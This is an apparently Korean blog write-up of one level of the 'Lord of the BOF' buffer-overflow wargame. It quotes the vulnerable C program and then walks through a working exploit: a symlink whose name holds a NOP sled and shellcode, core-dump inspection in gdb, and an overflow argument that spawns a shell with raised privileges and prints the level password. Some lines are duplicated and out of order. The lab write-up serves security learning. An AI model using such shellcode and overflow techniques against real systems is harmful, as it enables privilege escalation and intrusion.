id : vampire / pw : music world
사본으로 쉘이 떨어진 것을 알 수 있다. 이를 원본에 시도하면,
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "a"+"\x90"*100+"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"'`
[vampire@localhost vampire]$ cat skeleton.c
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
argv에 쓴 것들도 지워주고 있다.
심볼릭 링크를 사용한다면 이는 해결할 수 있다.
[vampire@localhost tmp]$ ln -s skeleton `python -c 'print "a"+"\x90"*100+"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"'`
심볼릭 링크를 사용한다면 이는 해결할 수 있다.
[vampire@localhost tmp]$ ln -s skeleton `python -c 'print "a"+"\x90"*100+"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"'`
[vampire@localhost tmp]$ ./a~~~~ `python -c 'print "\xbf"*48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost tmp]$ gdb -c core
(gdb) x/64x $esp
...
...
0xbfffff70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff80: 0x2e000000 0x9090612f 0x90909090 0x90909090
0xbfffff90: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
0xbfffffa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffe0: 0x90909090 0x90909090 0xf9689090 0x68400fbf
0xbffffff0: 0x400391e0 0x058ae0b8 0x00c35040 0x00000000
...
0xbfffffd0 으로 주소를 잡고 시도하겠다.
[vampire@localhost tmp]$ ./a~~~~ `python -c 'print "\xd0\xff\xff\xbf"*12'`n
0xbfffffd0 으로 주소를 잡고 시도하겠다.
[vampire@localhost tmp]$ ./a~~~~ `python -c 'print "\xd0\xff\xff\xbf"*12'`n
Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿
bash$
사본으로 쉘이 떨어진 것을 알 수 있다. 이를 원본에 시도하면,
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "a"+"\x90"*100+"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"'`
[vampire@localhost tmp]$ ./a~~~~ `python -c 'print "\xd0\xff\xff\xbf"*12'`
Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
bash$
'컴퓨터 > bof 원정대' 카테고리의 다른 글
bof 원정대 level 12 golem -> darkknight (0) | 2012.02.12 |
---|---|
bof 원정대 level 11 skeleton -> golem (0) | 2012.02.12 |
bof 원정대 level 9 troll -> vampire (0) | 2012.02.11 |
bof 원정대 level 8 orge -> troll (0) | 2012.02.11 |
bof 원정대 level 7 darkelf -> orge (0) | 2012.02.11 |
댓글